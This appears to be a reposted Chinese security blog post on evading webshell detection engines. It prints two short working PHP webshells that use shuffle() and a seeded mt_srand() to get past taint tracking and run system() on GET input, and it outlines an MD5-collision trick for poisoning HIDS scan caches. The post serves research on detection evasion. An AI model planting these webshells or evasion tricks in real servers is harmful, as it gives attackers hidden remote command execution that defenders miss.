【网络安全】Webshell的绕过——绕过动态检测引擎WAF-缓存绕过(Hash碰撞)

目录

一、前言

二、环境

三、了解动态检测引擎

3.1 shuffle — 打乱数组

3.2 mt_srand — 播下一个更好的随机数发生器种子

四、缓存导致的绕过【hash碰撞】

五、总结


一、前言

        在渗透测试过程中,成功获取 WebShell 时难免遇到 Web 应用防火墙(WAF)的拦截。今天就来研究一下 WAF 的核心防护机制之一动态检测引擎的工作原理及对应的缓存绕过技术。

二、环境

        Ubuntu 20.04.6 + Windows10 + 安全狗 + 河马查杀

三、了解动态检测引擎

        首先需要了解一下查杀引擎,查杀引擎一般分为两种,一个是静态的,另一个是动态的。对于静态引擎的绕过,可以通过拆分关键词、 加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则。动态检测引擎是可以通过打断污点追踪从而绕过 waf 。接下来对师傅们分享的某比赛中绕过动态检测引擎的 webshell 样本进行分析。感受一下 webshell 经过变形绕过 waf 的案例。

3.1 shuffle — 打乱数组

        很简单的一个webshell,绕过原理是通过 shuffle 函数打乱只有两个元素的数组。有可能shuffle 函数被当作了清洗函数,从而打断了污点追踪。

<?php 
$a = array("t", "system");shuffle($a);$a[0]($_GET[1]);

        可以看到已经执行了系统命令,并且绕过了安全狗和河马查杀。但是这个样本不能够稳定触发。下面来看一下大佬升级后的样本。

3.2 mt_srand — 播下一个更好的随机数发生器种子

       mt_srand 函数:播下一个更好的随机数发生器种子。我们通过打印调试来看一下这个函数具体是怎么利用的。

<?php$seed = '123';
mt_srand($seed);
$arr = array('t','system','vvx','789');
shuffle($arr);
print_r($arr);

        多刷新几次发现我们的数组被定下了,没有进行随机排序了。那就意味着定义好种子后就能够稳定触发了。

        看一下升级后的 webshell 如何利用。mt_srand($_GET[0]) 应该传什么值,通过打印调试后传参$_GET[0]需要传参11111 ,$_GET[1]传参执行的命令即可执行任意命令。

<?php$arr = array("t", "index", "web", "system");function shift(&$arr){mt_srand($_GET[0]);shuffle($arr);}shift($arr);$arr[2]($_GET[1]);

四、缓存导致的绕过【hash碰撞】

        在基于C/S架构部署的大规模HIDS集群中,在检测Web文件过程首先需要 根据后缀采集文件然后进入到分拣器,通过 webshell检测引擎 产生的分析结果上报至 Master 节点 进行汇聚、关联分析及最终裁决,之后将最终结果 持久化存储 入库。如果已经检测过的文件,缓存检测结果,下次不再检测。

        什么是IDS(入侵检测系统):IDS 是“入侵检测系统”的缩写,是指旨在检测未授权访问内部网络的迹象并通知管理员的硬件或软件。

根据实现方式,IDS 可分为以下两种类型:

  • 基于主机的入侵检测系统 (HIDS): HIDS 作为软件安装在受保护的计算机上,通过监控操作系统日志等日志来检测入侵。
  • 基于网络的入侵检测系统 (NIDS): NIDS 作为受保护计算机网络段中的专用设备进行部署,可监控网络流量中是否存在未经授权的活动。 NIDS 通常更适合有效监控整个内部网络。

        那么如果分拣器发现一个文件以前已经检测过,就可以直接把结果返回给 master节点。我们想绕过这里的判断,思路就是:把一个恶意文件,缓存成一个正常文件。

        如果我们创建两个文件一个 .js 和 .php 内容相同,文件名相同。会是怎么样的?

当在Java中写php的恶意语句会被报毒吗?显然不会,因为根本执行不了。但是会缓存进去,缓存的是 MD5 值。那如果我在写一个文件是 web.php 两个文件的 MD5 值是一样的呢?是不是就会放行了? 

如果两个文件的 MD5 值相同应该怎么办?我们来看一下这两个文件的 MD5 值是什么。

        发现 MD5 值是一样的,因为 MD5 值检测的是name,那么这个是有办法进行绕过的。当我们利用哈希碰撞。既然缓存key会包含文件名和文件hash,那么我们只需要生成一个正常文件和 一个webshell,两个文件的hash完全相同,再让他们文件名相同,这样就可以命中同一个缓存了。那么如何生成两个hash相同的文件? 

GitHub - corkami/collisions: Hash collisions and exploitations

        如果构造一个恶意的.php文件和一个正常的.php文件。但是它们的hash值一样就能够实现绕过。当使用hash碰撞的方法就能够实现两个不同文件 MD5 值相同。(因电脑配置原因,需要跑出来的时间太久,看一下大佬跑出来的最终结果)

五、总结

        本章学习了查杀引擎的原理,了解到了动态和静态的检测流程,动态引擎通过用户的输入源进行不断的追踪,直到经过清洗函数或者报错就能够打断污点追踪。或者是经过了清洗函数从而绕过waf。还有在HIDS中,一个Web文件的整个数据轮转过程中,可能会出现HIDS的薄弱点,今天通过缓存思路来绕过了webshell检测引擎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/2792.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Linux | 网络】高级IO

一、IO是什么二、五种IO模型2.1 理解五种IO模型2.2 五种IO模型的定义三、 非阻塞IO3.1 fcntl函数3.2 实现函数SetNoBlock&#xff08;将文件描述符设置为非阻塞&#xff09;四、多路转接IO4.1 多路转接IO之select4.1.1 select函数4.1.2 select的优缺点4.2 多路转接IO之poll4.2.…

图解简单选择排序C语言实现

1 简单选择排序 简单选择排序&#xff08;Simple Selection Sort&#xff09;是一种基础且直观的排序算法&#xff0c;其核心思想是通过重复选择未排序部分中的最小&#xff08;或最大&#xff09;元素&#xff0c;并将其放到已排序部分的末尾&#xff0c;逐步完成整个序列的排…

[go] 桥接模式

桥接模式 是一种结构型设计模式&#xff0c; 可将一个大类或一系列紧密相关的类拆分为抽象和实现两个独立的层次结构&#xff0c; 从而能在开发时分别使用。 模型说明抽象部分&#xff08;Abstraction&#xff09;提供高层控制逻辑&#xff0c;依赖于完成底层实际工作的实现对象…

【自用】JavaSE--特殊文件Properties与XML、日志技术

特殊文件概述使用特殊文件可以存储多个有关系的数据&#xff0c;作为系统的配置信息属性文件类似于键值对&#xff0c;一一对应存储数据(比如用户名与密码)XML文件存储多个用户的多个属性更适合&#xff0c;适合存储更复杂的数据Properties注&#xff1a;这个属性文件的后缀即使…

【轨物方案】预防性运维:轨物科技用AI+机器人重塑光伏电站价值链

传统光伏电站的运维模式&#xff0c;常常被视为一个“成本中心”&#xff0c;其“故障-抢修”的逻辑模式&#xff0c;不仅响应滞后、效率低下&#xff0c;更难以从根本上提升资产的长期价值。然而&#xff0c;随着新能源行业的深刻发展&#xff0c;运维的价值被重新定义&#x…

【自动化运维神器Ansible】Ansible比较操作符详解:从基础到实战应用

目录 引言 1 Ansible比较操作符概述 1.1 什么是比较操作符&#xff1f; 1.2 比较操作符的分类与核心符号 2 核心比较操作符详解 2.1 相等与不等&#xff1a;与! 语法与基础用法 示例&#xff1a;字符串与数值比较 注意事项 2.2 大小比较&#xff1a;>、>、<…

配置 Docker 镜像加速,解决 docker pull 拉取镜像失败、docker search 查询镜像失败等问题

一、概述 记录时间 [2025-08-16] 在 Docker 学习中&#xff0c;可能会遇到诸如 docker 远程仓库无法访问、docker pull 拉取镜像失败、docker search 查询镜像失败等问题。 这是由于国内网络对 docker 远程仓库的访问受到限制。 那么在国内如何获取 docker 镜像呢&#xff1f…

智能工厂生产监控大屏-vue纯前端静态页面练习

学习前端还是非常有意思的&#xff0c;因为前端真的是可见即所得&#xff0c;可以做出来非常好看漂亮的页面&#xff0c;最近我就在使用前端技术 做一些大屏报表&#xff0c;在制作这些大屏报表过程中&#xff0c;又熟练的练习了自己的学到的相关的前端技术&#xff0c;接下来把…

Android 欧盟网络安全EN18031 要求对应的基本表格填写

Android 欧盟网络安全EN18031 要求对应的基本表格填写 文章目录Android 欧盟网络安全EN18031 要求对应的基本表格填写一、背景二、18031认证预填表格三、其他1、Android EN 18031 要求对应的基本表格小结2、EN 18031的要求表格内容填写3、一定要做三方认证&#xff1f;4、欧盟网…

Java Lambda表达式是什么,怎么用

这种代码是什么&#xff0c;怎么阅读/*** 批量插入** param entityList ignore* param batchSize ignore* return ignore*/Transactional(rollbackFor Exception.class)Overridepublic boolean saveBatch(Collection<T> entityList, int batchSize) {String sqlStateme…

力扣习题:基本计算器

本片内容我们将针对于一个力扣中的一道很经典的习题&#xff1a;基本计算器。 这道题目十分经典&#xff0c;在很多大厂的面试题中都有出现过 因此我们将进一步来学习 该题目代码已经上传作者的个人gitee&#xff1a;CPP 学习代码库: C代码库新库&#xff0c;旧有C仓库满员了喜…

​​金仓数据库KingbaseES V9R1C10安装教程 - Windows版详细指南​

文章目录一、前言二、软件下载2.1 下载安装包2.2 下载授权文件三. 安装KingbaseES数据库3.1 解压安装包3.2 运行安装程序3.3 安装步骤详解步骤1&#xff1a;欢迎界面步骤2&#xff1a;许可协议步骤3&#xff1a;添加授权文件步骤4&#xff1a;选择安装路径步骤5&#xff1a;选择…